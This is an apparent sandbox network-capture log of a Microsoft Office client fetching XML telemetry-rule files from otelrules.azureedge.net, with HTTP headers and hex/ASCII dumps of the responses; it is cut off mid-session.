2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-r1d97b99577jlrkbhC1TEBq8d000000007t000000000bday x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49814	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754vxwc9hC1TEBykgw00000008hg00000000ph0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49815	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754ww792hC1TEBzqu400000008dg00000000hv73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49816	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-r1d97b9957789g82hC1TEBstx000000007yg000000002hc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49817	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754wcxkwhC1TEB3c6w00000008ng00000000292s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49819	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754xlpjshC1TEBv8cc00000008t000000000bdqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49818	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754wcxkwhC1TEB3c6w00000008m0000000007fn5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49820	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754mrj2shC1TEB6k7w00000008ug000000004ksz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49821	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754j8gqphC1TEB5bf800000008e000000000u8et x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49822	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:03 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210703Z-1777c6cb754xlpjshC1TEBv8cc00000008tg000000008usp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49823	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-1777c6cb754xjpthhC1TEBexs800000008g0000000009pk4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49825	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-1777c6cb754xlpjshC1TEBv8cc00000008p000000000u9su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 